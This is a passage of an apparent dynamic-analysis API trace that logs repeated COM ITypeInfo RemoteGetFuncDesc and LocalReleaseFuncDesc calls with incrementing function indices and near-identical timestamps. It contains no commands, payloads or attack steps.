ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x79, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x80, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x81, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x82, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x83, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x84, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x85, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x86, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x87, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x88, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x89, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x90, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x91, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x92, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x93, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x94, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x95, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x96, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x97, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x98, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.500] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x99, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.500] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa0, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa2, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa3, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa6, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa8, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa9, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaa, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xab, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xac, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xad, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xae, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaf, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb0, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.501] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.501] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb2, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb3, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb6, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb8, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb9, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xba, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbb, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbc, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbd, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbe, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbf, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc0, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc2, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc3, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc6, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.502] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc8, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.502] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc9, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xca, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcb, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcc, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcd, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xce, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcf, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd0, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd2, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd3, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd6, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd8, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd9, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xda, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdb, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdc, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdd, ppFuncDesc=0x126af8, 